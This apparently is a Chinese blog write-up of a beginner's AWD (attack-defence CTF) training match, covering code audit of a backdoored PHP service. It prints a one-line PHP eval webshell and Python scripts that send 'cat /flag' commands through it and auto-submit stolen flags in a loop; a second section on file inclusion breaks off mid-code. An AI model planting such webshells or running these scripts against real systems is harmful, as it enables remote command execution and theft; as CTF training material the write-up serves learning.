寒假AWD训练之初学代码审计

寒假在家,老师组织了AWD训练赛,还是实战出真知,感觉比赛的学习效率是真的高。做个小总结。
也是刚入门,欢迎大佬斧正。

漏洞1:webshell.php

第一个漏洞是后门的,是一句话木马。

<?php @eval($_POST['moxiaoxi']) ?>

很简单,没有什么难度,可以直接菜刀,但是菜刀不能批量自动化获取flag。所以,尝试着写脚本。

import requests
url="http:127.0.0.1"
shell='/webshell.php'
passwd="moxiaoxi"
port='8081'
payload={
   
    "moxiaoxi":"system('cat /flag');"
}
url1=url+':'+port+shell
#print(url1)
response=requests.post(url1,payload,timeout=3)
print(response.text)

也可以直接自动化提交。后来有参考了大佬的脚本,改成了可以自动提交的,有点乱,看下思路凑合把(狗头保命)。

import requests
import time

url="http:127.0.0.1"
shell='/webshell.php'
passwd="moxiaoxi"
port='8081'
payload={
   
    "moxiaoxi":"system('cat /flag');"
}
url1=url+':'+port+shell

def up_flag(flag_str):#提交flag
    headers = {
   }
    print(headers)
    cookies = {
   'UM_distinctid': '16fa6e4c4bf175-0678e737cc08938-4c322d7e-144000-16fa6e4c4c02c6',
               'CNZZDATA5082706': 'cnzz_eid%3D1753167733-1579049037-%26ntime%3D1579054437'
               }
    url_flag = 'http://47.114.48.65:9090/'
    data = {
   'token': 'd23014055f809da3115dd43960fd750c'}
    data['flag'] = flag_str
    try:
        r = requests.post(url=url_flag, data=data, timeout=3, headers=headers, cookies=cookies)
        r_ii = re.findall("hulla.send(.*?);</script>", r.text)#提取回显
        print(r_ii)#查看提交是否成功
    except:
        pass
while(1):
	response=requests.post(url1,payload,timeout=3)
	flag=response.text
	up_flag(flag)
	time.sleep(50)#50秒获取并提交一次
漏洞2:文件包含+报错日志一句话木马

这个是看着大佬之前的讲解做的。看源码分析:

<?php
require_once("library/common.php");//有loadFile()方法
require_once("library/view.php");//有echoContent()方法
$view_class 
  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值